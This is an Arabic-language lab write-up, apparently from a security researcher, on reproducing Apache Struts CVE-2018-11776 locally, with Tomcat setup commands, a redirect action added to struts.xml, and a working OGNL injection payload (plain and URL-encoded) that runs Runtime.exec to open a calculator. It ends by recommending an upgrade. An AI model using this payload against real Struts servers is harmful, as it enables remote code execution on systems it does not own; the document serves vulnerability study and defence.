
إنشاء بيئة ضعيفة وPoC
إثبات لمفهوم الاستغلال (PoC) حتى أتمكن من تقييم أنواع الحماية والإصلاحات المتاحة بسرعة.
اكتشفها أصلاً مان يو مو، من Semmle: https://semmle.com/news/apache-struts-CVE-2018-11776
كان لدى Semmle فيديو على YouTube بعنوان "Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo" لفترة، لكني أعتقد أنه اختفى أو على الأقل لم يعد مرتبطاً بـ Semmle: https://www.youtube.com/watch?v=5SDNX20SLJ0
أخذت معلومات من ما سبق ثم بدأت بالنظر في الالتزامات (commits) في مستودع struts: https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5
أنا كسول جداً لدرجة أني لا أريد استخدام Docker أو أي شيء آخر...
sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get install default-jdk vim net-tools
mkdir ~/sources
cd ~/sources
tar xvzf apache-tomcat-7.0.90.tar.gz
sudo mv apache-tomcat-7.0.90 /opt/tomcat
vim ~/.bashrc
export JAVA_HOME=/usr/lib/jvm/default-java
export CATALINA_HOME=/opt/tomcat
. ~/.bashrc
sudo vim /opt/tomcat/conf/tomcat-users.xml
<user username="username" password="password" roles="manager-gui,admin-gui" />
cd ~/sources
$CATALINA_HOME/bin/shutdown.sh
$CATALINA_HOME/bin/startup.sh
$CATALINA_HOME/bin/shutdown.sh
$CATALINA_HOME/bin/startup.sh
vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
date.action معرف بالفعل، لذلك أضفنا إجراء إعادة توجيه آخر يستدعي date.action
افتراضياً، يجب أن يكون alwaysSelectFullNamespace مضبوطاً على True.
$CATALINA_HOME/bin/shutdown.sh
$CATALINA_HOME/bin/startup.sh
%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}
127.0.0.1:8080/struts2-showcase-2.3.14/<encoded-command-goes-here>/help.action
127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action
عند التنفيذ على مضيف Ubuntu الضعيف، يجب أن نرى ظهور مثيل آلة حاسبة جديدة.
تطبيق آخر ضعيف ومحدد جداً لـ struts. التغطية الإعلامية لهذه الثغرة جعلت الجميع في حالة ذعر، رغم أن الإعدادات/الأكواد الأكثر إهمالاً فقط هي المعرضة فعلاً... لا أستطيع التفكير في طريقة فعالة ومخفية للعثور على هذه الثغرة واستغلالها بشكل موثوق. توصيتي: فقط قم بترقية struts... (أو توقف عن استخدامه)